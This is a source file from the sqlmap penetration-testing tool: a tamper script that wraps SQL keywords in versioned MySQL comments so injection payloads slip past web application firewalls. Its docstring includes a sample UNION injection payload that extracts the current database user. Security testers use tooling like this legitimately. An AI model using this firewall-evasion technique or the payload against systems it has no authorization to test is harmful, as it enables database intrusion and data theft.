#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Encloses each keyword with versioned MySQL comment

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.56, 5.5.11

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL

    >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!%s*/" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

    return retVal
